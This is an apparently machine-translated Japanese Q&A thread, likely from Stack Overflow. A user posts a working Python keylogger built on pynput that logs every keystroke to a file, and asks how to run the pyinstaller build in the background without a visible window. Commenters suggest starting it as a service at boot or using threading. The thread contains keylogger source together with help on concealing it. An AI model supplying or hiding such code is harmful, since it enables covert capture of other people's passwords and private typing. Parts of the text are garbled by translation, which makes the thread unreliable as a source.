私はPython 3.6を実行しています。私はVMでテストするためにキーロガーを作っています。私はpyinstallerを使ってキーロガーを実行可能ファイルに変換しました。キーロガーは素晴らしいですが、私はそれを実行すると、黒いウィンドウを開き、私はそれを閉じると、プログラムを停止します。私はバックグラウンドで実行可能ファイルを実行できるようにしたい。バックグラウンドで実行可能なpythonスクリプトを実行するには
EDIT:あなたは任意のコンソールウィンドウはウィンドウの下に明朝にしたくない場合は、私は、Windows 10
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
はあなたが使用しているOS教えていただけますでしょうか?ほとんどのOSでは、サービスとして起動時に何かを起動する方法があります...また、コードが長すぎない場合は、それを投稿したり、libsが使用されていることを知らせてください(任意のUI?) – urban
ただ編集しました投稿 –
あなたは 'threading'モジュールを使うことができました – AJ123